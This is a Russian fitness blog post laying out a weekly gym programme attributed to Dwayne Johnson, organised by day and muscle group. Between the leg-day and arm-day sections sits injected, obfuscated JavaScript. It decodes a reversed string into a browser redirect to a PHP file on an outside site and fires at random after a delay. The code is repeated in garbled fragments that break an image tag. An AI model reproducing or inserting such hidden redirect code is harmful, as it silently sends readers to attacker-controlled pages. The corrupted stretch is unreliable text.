Программа тренировок Дуэйна Джонсона

Дуэйн «Скала» Джонсон — не только отличный актёр, но и накачанный спортсмен. Дуэйн тренируется четыре раза в неделю — понедельник, вторник, среда, четверг. В первый день тренировок он прокачивает мышцы груди и плеч, во второй день тренировок — ноги и икры, в третий день тренировок — бицепс и трицепс, и в заключительный день — идёт спина и пресс.

Внимание: упражнения идут слева-направо! На картинке написано, что отдых между подходами составляет 45 секунд, тем не менее, мы вам рекомендуем отдыхать 1-2 минуты (смотрите по ощущениям). Если вы новичок, то сократите количество подходов до 2-3.

Понедельник — грудь и плечи

1. Жим штанги лёжа на наклонной скамье: 4 подхода по 8-10 повторений.
2. Разводка гантелей лёжа: 4 подхода по 8-10 повторений.
3. Жим штанги лёжа: 4 подхода по 8-10 повторений.
4. Жим гантелей сидя: 4 подхода по 8-10 повторений.
5. Попеременный подъём гантелей перед собой: 4 подхода по 8-10 повторений.
6. Махи гантелями стоя: 4 подхода по 8-10 повторений.
7. Подъём гантелей в стороны в наклоне: 4 подхода по 8-10 повторений.
8. Сведение рук на верхнем блоке: 3 подхода по 12 повторений.
9. Отжимания на брусьях: делаем до отказа.

Вторник — ноги и икры

1. Разгибание ног в тренажере: 4 подхода по 20 повторений.
2. Жим ногами сидя: 4 подхода по 20 повторений.
3. Ходьба выпадами: 4 подхода по 20 повторений.
4. Приседания в гакк-машине: 4 подхода по 12 повторений.
5. Румынская становая тяга: 4 подхода по 12 повторений.
6. Сгибание ног лёжа: 4 подхода по 12 повторений.
7. Сведение ног в тренажере: 4 подхода по 12 повторений.
8. Подъём на носки стоя: 3 подхода по 25 повторений.
9. Подъём на носки сидя: 3 подхода по 25 повторений.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tornik-nogi.jpg» alt=»vtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tornik-nogi» width=»516″ height=»960″ />

Среда — бицепс и трицепс

1. Поднятие штанги на бицепс (разогревочное упражнение с лёгким весом): 3 подхода по 10 повторений.
2. Поднятие штанги на скамье скотта: 3 подхода по 8-12 повторений.
3. Упражнение «молоток»: 3 подхода по 8-12 повторений.
4. Подъём на бицепс на нижнем блоке (широкий хват!): 3 подхода по 8-12 повторений.
5. Поднятие гантелей на бицепс сидя: 3 подхода по 8-12 повторений.
6. Разгибание рук с гантелью из-за головы: 3 подхода по 8-12 повторений.
7. Разгибание рук на верхнем блоке (широкий хват!): 3 подхода по 8-12 повторений.
8. Французский жим лёжа: 3 подхода по 8-12 повторений.
9. Отжимания на брусьях на трицепс: 3 подхода по 8-12 повторений.

Четверг — спина и пресс

1. Подтягивания на турнике: 4 подхода по 15 повторений.
2. Тяга вертикального (верхнего) блока к груди: 4 подхода по 15 повторений.
3. Тяга гантели одной рукой в наклоне: 4 подхода по 15 повторений.
4. Тяга блока к поясу сидя: 4 подхода по 12-15 повторений.
5. Тяга т-грифа в наклоне: 4 подхода по 12-15 повторений.
6. Тяжелые шраги со штангой: 4 подхода по 8-10 повторений.
7. Сгибание туловища на верхнем блоке: 3 подхода по 20 повторений.
8. Упражнение «велосипед» для пресса: 3 подхода по 20 повторений.
9. Подъём ног в висе: 3 подхода по 20 повторений.

Друзья, поддержите нашу группу в Фейсбуке, поделитесь этим постом с друзьями или нажмите кнопку «Мне нравится!» и Вы всегда будете в курсе свежих новостей «Дежурной Качалки»!

Для вас мы собираем лучшие тренировки, рекомендации по правильному питанию и конечно же юмор из мира красивых, энергичных и здоровых людей — таких как мы с вами!